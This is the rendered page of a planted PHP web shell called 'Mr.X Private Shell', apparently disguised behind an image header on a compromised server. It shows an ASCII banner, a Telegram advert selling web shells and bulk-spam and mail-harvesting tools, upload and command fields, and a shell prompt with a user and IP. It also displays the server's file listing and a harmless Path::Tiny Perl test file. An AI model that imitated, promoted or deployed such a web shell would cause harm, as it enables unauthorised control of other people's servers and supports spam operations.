����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use 5.008001;
use strict;
use warnings;
use Cwd; # hack around https://bugs.activestate.com/show_bug.cgi?id=104767
use Test::More 0.96;
use File::Spec::Unix;

use lib 't/lib';
use TestUtils qw/exception tempd/;

use Path::Tiny;

subtest "tempdir" => sub {
    my $tempdir = Path::Tiny->tempdir;
    isa_ok( $tempdir->cached_temp, 'File::Temp::Dir', "cached_temp" );
    my $string = $tempdir->stringify;
    ok( $tempdir->exists, "tempdir exists" );
    undef $tempdir;
    ok( !-e $string, "tempdir destroyed" );
};

subtest "tempfile" => sub {
    my $tempfile = Path::Tiny->tempfile;
    isa_ok( $tempfile->cached_temp, 'File::Temp', "cached_temp" );
    my $string = $tempfile->stringify;
    ok( $tempfile->exists, "tempfile exists" );
    undef $tempfile;
    ok( !-e $string, "tempfile destroyed" );
};

subtest "tempdir w/ TEMPLATE" => sub {
    my $tempdir = Path::Tiny->tempdir( TEMPLATE => "helloXXXXX" );
    like( $tempdir, qr/hello/, "found template" );
};

subtest "tempfile w/ TEMPLATE" => sub {
    my $tempfile = Path::Tiny->tempfile( TEMPLATE => "helloXXXXX" );
    like( $tempfile, qr/hello/, "found template" );
};

subtest "tempdir w/ leading template" => sub {
    my $tempdir = Path::Tiny->tempdir("helloXXXXX");
    like( $tempdir, qr/hello/, "found template" );
};

subtest "tempfile w/ leading template" => sub {
    my $tempfile = Path::Tiny->tempfile("helloXXXXX");
    like( $tempfile, qr/hello/, "found template" );
};

subtest "tempfile handle" => sub {
    my $tempfile = Path::Tiny->tempfile;
    my $fh       = $tempfile->filehandle;
    is( ref $tempfile->[5],    'File::Temp', "cached File::Temp object" );
    is( fileno $tempfile->[5], undef,        "cached handle is closed" );
};

subtest "survives absolute" => sub {
    my $wd = tempd;
    my $tempdir = Path::Tiny->tempdir( DIR => '.' )->absolute;
    ok( -d $tempdir, "exists" );
};

subtest "realpath option" => sub {
    my $wd = tempd;

    my $tempdir = Path::Tiny->tempdir( { realpath => 1 }, DIR => '.' );
    is( $tempdir, $tempdir->realpath, "tempdir has realpath" );

    my $tempfile = Path::Tiny->tempfile( { realpath => 1 }, DIR => '.' );
    is( $tempfile, $tempfile->realpath, "tempfile has realpath" );
};

subtest "cached_temp on non tempfile" => sub {
    my $path = path("abcdefg");
    eval { $path->cached_temp };
    like( $@, qr/has no cached File::Temp object/, "cached_temp error message" );
};

subtest "tempdir w/ leading template as instance method" => sub {
    my $wd = tempd;

    my $basedir = Path::Tiny->cwd;
    my $repodir = $basedir->child('whatever');
    $repodir->remove_tree if $repodir->exists;
    $repodir->mkdir;
    my $tempdir = $repodir->tempdir("helloXXXXX");
    like( $tempdir, qr/hello/, "found template" );
    ok( scalar($repodir->children) > 0, 'something was created' );
    my $basename = $tempdir->basename;
    ok( -d $repodir->child($basename), "right directory exists" );
};

subtest "tempdir w/ leading template as instance method" => sub {
    my $wd = tempd;

    my $basedir = Path::Tiny->cwd;
    my $repodir = $basedir->child('whatever');
    $repodir->remove_tree if $repodir->exists;
    $repodir->mkdir;
    my $tempdir = $repodir->tempdir("helloXXXXX");
    like( $tempdir, qr/hello/, "found template" );
    ok( scalar($repodir->children) > 0, 'something was created' );
    my $basename = $tempdir->basename;
    ok( -d $repodir->child($basename), "right directory exists" );
};

subtest "tempfile w/out leading template as instance method" => sub {
    my $wd = tempd;

    my $basedir = Path::Tiny->cwd;
    my $repodir = $basedir->child('whatever');
    $repodir->remove_tree if $repodir->exists;
    $repodir->mkdir;
    my $tempfile = $repodir->tempfile( TEMPLATE => "helloXXXXX" );
    like( $tempfile, qr/hello/, "found template" );
    ok( scalar($repodir->children) > 0, 'something was created' );
    my $basename = $tempfile->basename;
    ok( -e $repodir->child($basename), "right file exists" );
};

subtest "tempfile w/out leading template as instance method" => sub {
    my $wd = tempd;

    my $basedir = Path::Tiny->cwd;
    my $repodir = $basedir->child('whatever');
    $repodir->remove_tree if $repodir->exists;
    $repodir->mkdir;
    my $tempfile = $repodir->tempfile( TEMPLATE => "helloXXXXX");
    like( $tempfile, qr/hello/, "found template" );
    ok( scalar($repodir->children) > 0, 'something was created' );
    my $basename = $tempfile->basename;
    ok( -e $repodir->child($basename), "right file exists" );
};

subtest "tempfile, instance method, overridden DIR" => sub {
    my $wd = tempd;

    my $basedir = Path::Tiny->cwd;
    my $repodir = $basedir->child('whatever');
    $repodir->remove_tree if $repodir->exists;
    $repodir->mkdir;
    my $bd = $basedir->stringify;
    my $tempfile = $repodir->tempfile("helloXXXXX", DIR => $bd);
    ok( $tempfile->parent ne $bd ), "DIR is overridden";
};

done_testing;
#
# This file is part of Path-Tiny
#
# This software is Copyright (c) 2014 by David Golden.
#
# This is free software, licensed under:
#
#   The Apache License, Version 2.0, January 2004
#

Filemanager

Name Type Size Permission Actions
data Folder 0755
fakelib Folder 0755
lib Folder 0755
00-report-prereqs.dd File 4.52 KB 0644
00-report-prereqs.t File 5.88 KB 0644
README File 214 B 0644
basename.t File 880 B 0644
basic.t File 9.06 KB 0644
children.t File 1.24 KB 0644
chmod.t File 1020 B 0644
digest.t File 1.25 KB 0644
exception.t File 1.26 KB 0644
exports.t File 674 B 0644
filesystem.t File 14.21 KB 0644
has_same_bytes.t File 2.04 KB 0644
input_output.t File 18.31 KB 0644
input_output_no_PU_UU.t File 579 B 0644
input_output_no_UU.t File 566 B 0644
locking.t File 1.37 KB 0644
mkdir.t File 1.52 KB 0644
mkpath.t File 1.46 KB 0644
mutable_tree_while_iterating.t File 1.43 KB 0644
normalize.t File 898 B 0644
overloading.t File 534 B 0644
parent.t File 3.06 KB 0644
recurse.t File 3.89 KB 0644
rel-abs.t File 7.88 KB 0644
sig_die.t File 533 B 0644
size.t File 4.76 KB 0644
subsumes.t File 3.16 KB 0644
symlinks.t File 1.51 KB 0644
temp.t File 4.99 KB 0644
visit.t File 447 B 0644
zz-atomic.t File 922 B 0644
zzz-spec.t File 6.62 KB 0644